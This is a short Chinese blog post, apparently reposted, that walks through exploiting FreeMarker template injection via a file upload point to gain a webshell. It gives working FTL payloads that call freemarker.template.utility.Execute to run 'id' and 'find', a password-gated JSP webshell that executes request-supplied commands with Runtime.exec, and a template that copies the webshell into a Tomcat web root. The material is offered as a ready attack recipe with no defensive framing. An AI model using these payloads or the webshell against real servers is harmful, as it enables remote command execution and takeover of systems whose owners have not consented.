FreeMarker执行系统命令

本文介绍了一种通过Freemarker模板语言(FTL)的漏洞来上传恶意模板文件并最终获取WebShell的方法。步骤包括寻找上传点、注入FTL模板、定位文件路径、部署并激活WebShell。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1、寻找可以上传FTL模板的漏洞点


2、尝试注入FTL模板

1
2
<#assign test="freemarker.template.utility.Execute"?new()>
${test("id")}


3、查找上传的FTL文件保存路径

1
2
<#assign test="freemarker.template.utility.Execute"?new()>
${test("find / -name *.ftl")}


4、获取WebShell

1
2
3
4
# webshell.ftl
<%if ("023".equals(request.getParameter("pwd")))
{java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1; byte[] b = new byte[2048];while((a=in.read(b))!=-1){out.println(new String(b));}}%>
1
2
3
4
# main.ftl
<#assign test="freemarker.template.utility.Execute"?new()>
${test("cp /home/bmpapp/upc_plugin_home/export_plugin/development/user/webshell.ftl 
/home/bmpapp/tomcat/webapps/default.war/index.jsp")}


5、访问index.jsp


















本文转自fatshi51CTO博客,原文链接:http://blog.51cto.com/duallay/1936931 ,如需转载请自行联系原作者




评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值